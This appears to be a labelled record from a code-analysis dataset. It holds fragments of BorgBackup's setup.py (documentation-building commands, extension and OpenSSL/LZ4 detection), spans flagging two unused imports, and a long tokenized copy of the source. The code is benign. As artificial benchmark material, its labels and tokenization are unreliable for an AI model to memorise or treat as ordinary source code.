doc.write(\"\\n\\nDescription\\n~~~~~~~~~~~\\n\")\n doc.write(epilog)\n common_options = [group for group in choices['create']._action_groups if group.title == 'Common options'][0]\n with open('docs/usage/common-options.rst.inc', 'w') as doc:\n self.write_options_group(common_options, doc, False)", "metadata": "root.build_usage.run", "header": "['class', 'build_usage', '(', 'Command', ')', ':', '___EOS___']", "index": 146 }, { "content": " def write_usage(self, parser, fp):\n if any(len(o.option_strings) for o in parser._actions):\n fp.write(' <options>')\n for option in parser._actions:\n if option.option_strings:\n continue\n fp.write(' ' + option.metavar)", "metadata": "root.build_usage.write_usage", "header": "['class', 'build_usage', '(', 'Command', ')', ':', '___EOS___']", "index": 183 }, { "content": " def write_options(self, parser, fp):\n for group in parser._action_groups:\n if group.title == 'Common options':\n fp.write('\\n\\n`Common options`_\\n')\n fp.write(' |')\n else:\n self.write_options_group(group, fp)", "metadata": "root.build_usage.write_options", "header": "['class', 'build_usage', '(', 'Command', ')', ':', '___EOS___']", "index": 191 }, { "content": " def write_options_group(self, group, fp, with_title=True):\n def is_positional_group(group):\n return any(not o.option_strings for o in group._group_actions)\n\n def get_help(option):\n text = textwrap.dedent((option.help or '') % option.__dict__)\n return '\\n'.join('| ' + line for line in text.splitlines())\n\n def shipout(text):\n fp.write(textwrap.indent('\\n'.join(text), ' ' * 4))\n\n if not group._group_actions:\n return\n\n if with_title:\n fp.write('\\n\\n')\n fp.write(group.title + '\\n')\n text = []\n\n if is_positional_group(group):\n for option in group._group_actions:\n text.append(option.metavar)\n text.append(textwrap.indent(option.help or '', ' ' * 4))\n shipout(text)\n return\n\n options = []\n for option in group._group_actions:\n if option.metavar:\n option_fmt = '``%%s %s``' % option.metavar\n else:\n option_fmt = '``%s``'\n option_str = ', '.join(option_fmt % s for s in option.option_strings)\n options.append((option_str, option))\n for option_str, option in options:\n help = textwrap.indent(get_help(option), ' ' * 4)\n text.append(option_str)\n text.append(help)\n shipout(text)", "metadata": "root.build_usage.write_options_group", "header": "['class', 'build_usage', '(', 'Command', ')', ':', '___EOS___']", "index": 199 }, { "content": "class build_api(Command):\n description = \"generate a basic api.rst file based on the modules available\"\n\n user_options = [\n ('output=', 'O', 'output directory'),\n ]\n\n\n", "metadata": "root.build_api", "header": "['module', '___EOS___']", "index": 240 }, { "content": " def initialize_options(self):\n pass", "metadata": "root.build_api.initialize_options", "header": "['class', 'build_api', '(', 'Command', ')', ':', '___EOS___']", "index": 247 }, { "content": " def finalize_options(self):\n pass", "metadata": "root.build_api.finalize_options", "header": "['class', 'build_api', '(', 'Command', ')', ':', '___EOS___']", "index": 250 }, { "content": " def run(self):\n print(\"auto-generating API documentation\")\n with open(\"docs/api.rst\", \"w\") as doc:\n doc.write(\"\"\"\nAPI Documentation\n=================\n\"\"\")\n for mod in glob('borg/*.py') + glob('borg/*.pyx'):\n print(\"examining module %s\" % mod)\n mod = mod.replace('.pyx', '').replace('.py', '').replace('/', '.')\n if \"._\" not in mod:\n doc.write(\"\"\"\n.. automodule:: %s\n :members:\n :undoc-members:\n\"\"\" % mod)", "metadata": "root.build_api.run", "header": "['class', 'build_api', '(', 'Command', ')', ':', '___EOS___']", "index": 253 } ]
[ { "span": "import re", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 9 }, { "span": "from distutils.command.build import build", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 41 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "encoding", ":", " ", "utf", "-", "8", " ", "*-", "*_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "glob_", "import_", "glob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "distutils_", "._", "command_", "._", "build_", "import_", "build_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "core_", "import_", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "textwrap_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "min", "\\u", "python_", "=_", "(_", "3_", ",_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "\\u", "python_", "=_", "sys_", "._", "version", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "my", "\\u", "python_", "<_", "min", "\\u", "python_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Bor", "g", " ", "require", "s", " ", "Pyth", "on", " ", "%", "d", ".", "%", "d", " ", "or", " ", "late", "r", "\"_", "%_", "min", "\\u", "python_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Are", " ", "we", " ", "buildi", "ng", " ", "on", " ", "Read", "The", "Docs", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "on", "\\u", "rtd", "_", "=_", "os_", "._", "environ_", "._", "get_", "(_", "'", "READ", "THE", "DOCS", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "msgpack", " ", "pure", " ", "python", " ", "data", " ", "corrupt", "ion", " ", "was", " ", "fixed", " ", "in", " ", "0.", "4.6", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Al", "so", ",", " ", "we", " ", "mig", "ht", " ", "use", " ", "some", " ", "rat", "her", " ", "recent", " ", "API", " ", "features", "._", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "requires_", "=_", "[_", "'", "msgpack", "-", "python", ">=", "0.", "4.6", "'_", ",_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "extra", "s", "\\u", "require_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ll", "fuse", " ", "0.40", " ", "(", "tested", ",", " ", "prove", "n", ",", " ", "ok", "),", " ", "need", "s", " ", "FU", "SE", " ", "version", " ", ">=", " ", "2.8", ".0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ll", "fuse", " ", "0.41", " ", "(", "tested", " ", "short", "ly", ",", " ", "look", "s", " ", "ok", "),", " ", "need", "s", " ", "FU", "SE", " ", "version", " ", ">=", " ", "2.8", ".0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ll", "fuse", " ", "0.42", " ", "(", "tested", " ", "short", "ly", ",", " ", "look", "s", " ", "ok", "),", " ", "need", "s", " ", "FU", "SE", " ", "version", " ", ">=", " ", "2.8", ".0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ll", "fuse", " ", "1.0", " ", "(", "tested", " ", "short", "ly", ",", " ", "look", "s", " ", "ok", "),", " ", "need", "s", " ", "FU", "SE", " ", "version", " ", ">=", " ", "2.8", ".0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ll", "fuse", " ", "2.0", " ", "will", " ", "break", " ", "API_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fuse", "'_", ":_", "[_", "'", "ll", "fuse", "<", "2.0", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "setuptools_", "import_", "setup_", ",_", "Extension_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "setuptools_", "._", "command_", "._", "sdist", "_", "import_", "sdist", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "compress", "\\u", "source_", "=_", "'", "bor", "g", "/", "compress", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "crypto", "\\u", "source_", "=_", "'", "bor", "g", "/", "crypto", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chunk", "er", "\\u", "source_", "=_", "'", "bor", "g", "/", "chunk", "er", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hashin", "dex", "\\u", "source_", "=_", "'", "bor", "g", "/", "hashin", "dex", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform", "\\u", "linux", "\\u", "source_", "=_", "'", "bor", "g", "/", "platform", "\\u", "linux", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform", "\\u", "dar", "win", "\\u", "source_", "=_", "'", "bor", "g", "/", "platform", "\\u", "dar", "win", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform", "\\u", "freeb", "sd", "\\u", "source_", "=_", "'", "bor", "g", "/", "platform", "\\u", "freeb", "sd", ".", "pyx", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "Cython", "_", "._", "Dist", "utils_", "import_", "build", "\\u", "ext_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Cython", "_", "._", "Compiler_", "._", "Main_", "as_", "cython", "\\u", "compiler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "compress", "\\u", "source_", "=_", "compress", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "crypto", "\\u", "source_", "=_", "crypto", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "chunk", "er", "\\u", "source_", "=_", "chunk", "er", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hashin", "dex", "\\u", "source_", "=_", "hashin", "dex", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform", "\\u", "linux", "\\u", "source_", "=_", "platform", "\\u", "linux", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform", "\\u", "freeb", "sd", "\\u", "source_", "=_", "platform", "\\u", "freeb", "sd", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "platform", "\\u", "dar", "win", "\\u", "source_", "=_", "platform", "\\u", "dar", "win", "\\u", "source_", "._", "replace_", "(_", "'.", "pyx", "'_", ",_", "'.", "c", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "distutils_", "._", "command_", "._", "build", "\\u", "ext_", "import_", "build", "\\u", "ext_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "on", "\\u", "rtd", "_", "and_", "not_", "all_", "(_", "os_", "._", "path_", "._", "exists_", "(_", "path_", ")_", "for_", "path_", "in_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "compress", "\\u", "source_", ",_", "crypto", "\\u", "source_", ",_", "chunk", "er", "\\u", "source_", ",_", "hashin", "dex", "\\u", "source_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "platform", "\\u", "linux", "\\u", "source_", ",_", "platform", "\\u", "freeb", "sd", "\\u", "source_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Import", "Error_", "(_", "'", "The", " ", "GIT", " ", "version", " ", "of", " ", "Bor", "g", " ", "need", "s", " ", "Cython", ".", " ", "Install", " ", "Cython", " ", "or", " ", "use", " ", "a", " ", "released", " ", "version", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "include", "\\u", "dirs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "librar", "y", "\\u", "dirs_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "possib", "le", "\\u", "openss", "l\\u", "prefixes_", "=_", "[_", "'/", "usr", "'_", ",_", "'/", "usr", "/", "local", "'_", ",_", "'/", "usr", "/", "local", "/", "opt", "/", "openss", "l", "'_", ",_", "'/", "usr", "/", "local", "/", "ssl", "'_", ",_", "'/", "usr", "/", "local", "/", "openss", "l", "'_", ",_", "'/", "usr", "/", "local", "/", "bor", "g", "'_", ",_", "'/", "opt", "/", "local", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "environ_", "._", "get_", "(_", "'", "BOR", "G", "\\u", "OPENS", "SL", "\\u", "PREF", "IX", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "possib", "le", "\\u", "openss", "l\\u", "prefixes_", "._", "insert_", "(_", "0_", ",_", "os_", "._", "environ_", "._", "get_", "(_", "'", "BOR", "G", "\\u", "OPENS", "SL", "\\u", "PREF", "IX", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ssl", "\\u", "prefix_", "=_", "detect", "\\u", "openss", "l_", "(_", "possib", "le", "\\u", "openss", "l\\u", "prefixes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "ssl", "\\u", "prefix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "Una", "ble", " ", "to", " ", "find", " ", "Open", "SS", "L", " ", ">=", " ", "1.0", " ", "header", "s", ".", " ", "(", "Look", "ed", " ", "here", ":", " ", "{})", "'_", "._", "format_", "(_", "',", " ", "'_", "._", "join_", "(_", "possib", "le", "\\u", "openss", "l\\u", "prefixes_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "include", "\\u", "dirs_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "ssl", "\\u", "prefix_", ",_", "'", "include", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "librar", "y", "\\u", "dirs_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "ssl", "\\u", "prefix_", ",_", "'", "lib", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "possib", "le", "\\u", "lz", "4", "\\u", "prefixes_", "=_", "[_", "'/", "usr", "'_", ",_", "'/", "usr", "/", "local", "'_", ",_", "'/", "usr", "/", "local", "/", "opt", "/", "lz", "4", "'_", ",_", "'/", "usr", "/", "local", "/", "lz", "4", "'_", ",_", "'/", "usr", "/", "local", "/", "bor", "g", "'_", ",_", "'/", "opt", "/", "local", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "environ_", "._", "get_", "(_", "'", "BOR", "G", "\\u", "LZ", "4", "\\u", "PREF", "IX", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "possib", "le", "\\u", "lz", "4", "\\u", "prefixes_", "._", "insert_", "(_", "0_", ",_", "os_", "._", "environ_", "._", "get_", "(_", "'", "BOR", "G", "\\u", "LZ", "4", "\\u", "PREF", "IX", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lz", "4", "\\u", "prefix_", "=_", "detect", "\\u", "lz", "4_", "(_", "possib", "le", "\\u", "lz", "4", "\\u", "prefixes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "lz", "4", "\\u", "prefix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "include", "\\u", "dirs_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "lz", "4", "\\u", "prefix_", ",_", "'", "include", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "librar", "y", "\\u", "dirs_", "._", "append_", "(_", "os_", "._", "path_", "._", "join_", "(_", "lz", "4", "\\u", "prefix_", ",_", "'", "lib", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "on", "\\u", "rtd", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "Una", "ble", " ", "to", " ", "find", " ", "LZ", "4", " ", "header", "s", ".", " ", "(", "Look", "ed", " ", "here", ":", " ", "{})", "'_", "._", "format_", "(_", "',", " ", "'_", "._", "join_", "(_", "possib", "le", "\\u", "lz", "4", "\\u", "prefixes_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "open_", "(_", "'", "READ", "ME", ".", "rst", "'_", ",_", "'", "r", "'_", ")_", "as_", "fd_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "long", "\\u", "description_", "=_", "fd_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmdclass_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "build", "\\u", "ext", "'_", ":_", "build", "\\u", "ext_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "build", "\\u", "api", "'_", ":_", "build", "\\u", "api_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "build", "\\u", "usage", "'_", ":_", "build", "\\u", "usage_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sdist", "'_", ":_", "Sd", "ist_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ext", "\\u", "modules_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "on", "\\u", "rtd", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ext", "\\u", "modules_", "+=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "Extension_", "(_", "'", "bor", "g", ".", "compress", "'_", ",_", "[_", "compress", "\\u", "source_", "]_", ",_", "libraries_", "=_", "[_", "'", "lz", "4", "'_", "]_", ",_", "include", "\\u", "dirs_", "=_", "include", "\\u", "dirs_", ",_", "librar", "y", "\\u", "dirs_", "=_", "librar", "y", "\\u", "dirs_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Extension_", "(_", "'", "bor", "g", ".", "crypto", "'_", ",_", "[_", "crypto", "\\u", "source_", "]_", ",_", "libraries_", "=_", "[_", "'", "crypto", "'_", "]_", ",_", "include", "\\u", "dirs_", "=_", "include", "\\u", "dirs_", ",_", "librar", "y", "\\u", "dirs_", "=_", "librar", "y", "\\u", "dirs_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Extension_", "(_", "'", "bor", "g", ".", "chunk", "er", "'_", ",_", "[_", "chunk", "er", "\\u", "source_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Extension_", "(_", "'", "bor", "g", ".", "hashin", "dex", "'_", ",_", "[_", "hashin", "dex", "\\u", "source_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sys_", "._", "platform_", "==_", "'", "linux", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ext", "\\u", "modules_", "._", "append_", "(_", "Extension_", "(_", "'", "bor", "g", ".", "platform", "\\u", "linux", "'_", ",_", "[_", "platform", "\\u", "linux", "\\u", "source_", "]_", ",_", "libraries_", "=_", "[_", "'", "acl", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "sys_", "._", "platform_", "._", "startswith_", "(_", "'", "freeb", "sd", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ext", "\\u", "modules_", "._", "append_", "(_", "Extension_", "(_", "'", "bor", "g", ".", "platform", "\\u", "freeb", "sd", "'_", ",_", "[_", "platform", "\\u", "freeb", "sd", "\\u", "source_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "sys_", "._", "platform_", "==_", "'", "dar", "win", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ext", "\\u", "modules_", "._", "append_", "(_", "Extension_", "(_", "'", "bor", "g", ".", "platform", "\\u", "dar", "win", "'_", ",_", "[_", "platform", "\\u", "dar", "win", "\\u", "source_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setup_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "'", "bor", "gba", "ck", "up", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "use", "\\u", "scm", "\\u", "version_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "write", "\\u", "to", "'_", ":_", "'", "bor", "g", "/\\u", "version", ".", "py", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author_", "=_", "'", "The", " ", "Bor", "g", " ", "Collecti", "ve", " ", "(", "see", " ", "AUTHOR", "S", " ", "file", ")'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "author", "\\u", "email_", "=_", "'", "bor", "gba", "ck", "up", "@", "python", ".", "org", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'", "https", "://", "bor", "gba", "ck", "up", ".", "read", "the", "docs", ".", "org", "/'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "description_", "=_", "'", "Ded", "upli", "cated", ",", " ", "encrypt", "ed", ",", " ", "authenticat", "ed", " ", "and", " ", "compress", "ed", " ", "backup", "s", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "long", "\\u", "description_", "=_", "long", "\\u", "description_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "license_", "=_", "'", "BS", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "platforms_", "=_", "[_", "'", "Lin", "ux", "'_", ",_", "'", "Mac", "OS", " ", "X", "'_", ",_", "'", "Free", "BS", "D", "'_", ",_", "'", "Open", "BS", "D", "'_", ",_", "'", "Net", "BS", "D", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "classifiers_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Dev", "elo", "pme", "nt", " ", "Status", " ", "::", " ", "4", " ", "-", " ", "Beta", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Environ", "ment", " ", "::", " ", "Cons", "ole", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Inten", "ded", " ", "Audi", "ence", " ", "::", " ", "System", " ", "Administra", "tors", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "License", " ", "::", " ", "OSI", " ", "Appro", "ved", " ", "::", " ", "BS", "D", " ", "License", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "POSI", "X", " ", "::", " ", "BS", "D", " ", "::", " ", "Free", "BS", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "POSI", "X", " ", "::", " ", "BS", "D", " ", "::", " ", "Open", "BS", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "POSI", "X", " ", "::", " ", "BS", "D", " ", "::", " ", "Net", "BS", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "Mac", "OS", " ", "::", " ", "Mac", "OS", " ", "X", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Opera", "ting", " ", "System", " ", "::", " ", "POSI", "X", " ", "::", " ", "Lin", "ux", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "3", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "3.4", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Programm", "ing", " ", "Lang", "ua", "ge", " ", "::", " ", "Pyth", "on", " ", "::", " ", "3.5", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Topic", " ", "::", " ", "Secur", "it", "y", " ", "::", " ", "Crypto", "graph", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Topic", " ", "::", " ", "System", " ", "::", " ", "Archi", "ving", " ", "::", " ", "Back", "up", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "packages_", "=_", "[_", "'", "bor", "g", "'_", ",_", "'", "bor", "g", ".", "testsuite", "'_", ",_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "entry", "\\u", "points_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "console", "\\u", "scripts", "'_", ":_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "g", " ", "=", " ", "bor", "g", ".", "archive", "r", ":", "main", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "bor", "gf", "s", " ", "=", " ", "bor", "g", ".", "archive", "r", ":", "main", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cmdclass_", "=_", "cmdclass_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ext", "\\u", "modules_", "=_", "ext", "\\u", "modules_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "\\u", "requires_", "=_", "[_", "'", "setup", "tool", "s", "\\u", "scm", ">=", "1.7", 